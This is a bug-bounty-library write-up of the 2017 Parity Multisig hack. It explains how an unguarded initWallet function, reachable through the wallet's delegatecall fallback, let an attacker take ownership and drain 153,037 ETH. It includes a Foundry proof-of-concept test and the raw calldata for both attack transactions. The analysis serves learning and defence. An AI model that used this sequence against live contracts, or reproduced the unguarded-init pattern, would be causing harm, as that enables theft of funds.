# Parity Multisig: unprotected initWallet via delegatecall drains wallets

Parity Multisig wallets forwarded unknown calls via delegatecall to WalletLibrary, letting anyone re-call initWallet to seize ownership and drain 153,037 ETH.

- Payout: Real-world hack
- Severity: critical
- Program: Parity Multisig
- Analysis by: DeFiHackLabs
- Disclosed: 2017-07-19
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2017-07/Parity_first_hack_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20170719-parity-first-hack
- Tags: area:web3 domain:web3 impact:funds-loss impact:mass-exploit kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** Ethereum multisig wallet contract (Wallet/WalletLibrary proxy)
**Root cause:** Wallet's fallback delegatecalls any unmatched calldata into WalletLibrary, exposing library functions like initWallet that lack an initialized/already-set guard, so ownership state can be reset by anyone.
**Steps:**
1. Call victim wallet's fallback with `initWallet(address[] _owners, uint256 _required, uint256 _daylimit)` (methodID `0xe46dcfeb`), passing owners=[attacker], required=0, daylimit=large.
2. Confirm attacker is now owner via `isOwner(attacker)`.
3. Call `execute(address _to, uint256 _value, bytes _data)` (methodID `0xb61d27f6`) with _to=attacker, _value=full balance, empty data.
4. Funds transfer to attacker since attacker is sole owner and required confirmations is 0.
**How found:** OpenZeppelin analyzed the attack after Parity reported it; recognized the proxy-library delegatecall pattern and that constructor logic extracted into WalletLibrary (initWallet) remained externally callable with no re-initialization guard.
**Exploitation:** Attacker sent two transactions per victim contract: first initWallet to set m_owners to [attacker] with required=0, then execute to sweep the entire ETH balance to the attacker address 0xB3764761E297D6f121e79C32A65829Cd1dDb4D32. No capital or flash loan needed; execution auto-authorized as sole owner.
**Escalation:** Repeated across three high-profile multisig contracts holding past token sale funds, totaling 153,037 ETH (~$30M).
**Insight:** When a contract forwards all unmatched calldata via delegatecall to a shared library, every public library function becomes an entrypoint on the wallet itself; check that constructor/init functions in the library are guarded or unreachable through the proxy.

## Proof of concept (copied exactly from the original report)

**Foundry test calling initWallet then execute to drain**

```
function testExploit() public {
        assertEq(address(VICTIM_WALLET).balance, STOLEN_AMOUNT);
        assertFalse(VICTIM_WALLET.isOwner(ATTACKER));

        address[] memory owners = new address[](1);
        owners[0] = ATTACKER;

        vm.startPrank(ATTACKER);
        VICTIM_WALLET.initWallet(owners, 0, STOLEN_AMOUNT);

        assertTrue(VICTIM_WALLET.isOwner(ATTACKER));

        uint256 attackerBalanceBefore = ATTACKER.balance;
        VICTIM_WALLET.execute(ATTACKER, STOLEN_AMOUNT, "");
        vm.stopPrank();

        assertEq(address(VICTIM_WALLET).balance, 0);
        assertEq(ATTACKER.balance - attackerBalanceBefore, STOLEN_AMOUNT);
    }
```

**Raw initWallet calldata setting attacker as sole owner**

```
Function: initWallet(address[] _owners, uint256 _required, uint256 _daylimit) ***
MethodID: 0xe46dcfeb
[0]:0000000000000000000000000000000000000000000000000000000000000060
[1]:0000000000000000000000000000000000000000000000000000000000000000
[2]:00000000000000000000000000000000000000000000116779808c03e4140000
[3]:0000000000000000000000000000000000000000000000000000000000000001
[4]:000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32
```

**Raw execute calldata draining funds to attacker**

```
Function: execute(address _to, uint256 _value, bytes _data) ***
MethodID: 0xb61d27f6
[0]:000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32
[1]:00000000000000000000000000000000000000000000116779808c03e4140000
[2]:0000000000000000000000000000000000000000000000000000000000000060
[3]:0000000000000000000000000000000000000000000000000000000000000000
[4]:0000000000000000000000000000000000000000000000000000000000000000
```

